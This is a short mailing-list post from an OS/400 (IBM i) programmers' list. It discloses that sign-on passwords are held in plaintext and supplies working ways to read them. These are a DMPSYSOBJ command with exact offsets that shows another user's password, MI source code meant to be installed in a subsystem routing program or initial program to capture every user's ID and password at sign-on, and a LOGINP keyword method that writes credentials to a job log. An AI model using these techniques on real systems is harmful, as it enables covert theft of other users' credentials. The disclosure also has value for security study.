Re: QSYUPTBL

In addition to storing passwords in ciphertext, OS/400 stores
passwords in plaintext, too.  For example, after User A signs on,
User B can type the following and see User A's plaintext password
(provided User A and User B are signed on in the same subsystem):

DMPSYSOBJ  OFFSET(210  1B0  10)  SPACE(0  14)

This dumps the 20-byte input buffer in the ODP of the sign-on screen
in the interactive subsystem monitor job.  The input buffer contains
the 10-byte user id and 10-byte password in plaintext.

Occasionally this fails to show the password if the last operation
from the subsystem monitor to the sign-on screen was an output.  If
the first byte of the dump shows '0' or '1', then this shows the
output buffer, not the input buffer.  (The first byte of the output
buffer is a value for a DDS indicator.)

Here is an equivalent version in MI for a level 30 machine.  Put this
in an interactive subsystem's routing entry program, or in a user
profile's initial program under QCMD, and you can capture each user's
plaintext password immediately after sign-on.

DCL DD     USERID     AUTO CHAR(10);
DCL DD     PASSWORD   AUTO CHAR(10);
DCL SYSPTR ?SUBSYS    BASPCO POS(H'211');
DCL MSPPTR ?M;
DCL SPCPTR ?UFCB      BAS(?M) POS(H'1B1');
DCL SPCPTR ?BUFFER    BAS(?UFCB) POS(H'11');
DCL DD     BUFFER     BAS(?BUFFER) CHAR(32767);

SETSPPFP   ?M, ?SUBSYS;
CPYBLA     USERID, BUFFER(1:10);
CPYBLA     PASSWORD, BUFFER(11:10);

Also if you compile a custom sign-on screen with DDS that includes
the LOGINP keyword, the system will write each 10-byte user id and
10-byte password to the job log of the interactive subsystem
monitor.  DSPJOBLOG will list them.


+---
| This is the MI Programmers Mailing List!
| To submit a new message, send your mail to MI400@midrange.com.
| To subscribe to this list send email to MI400-SUB@midrange.com.
| To unsubscribe from this list send email to MI400-UNSUB@midrange.com.
| Questions should be directed to the list owner/operator: dr2@cssas400.com
+---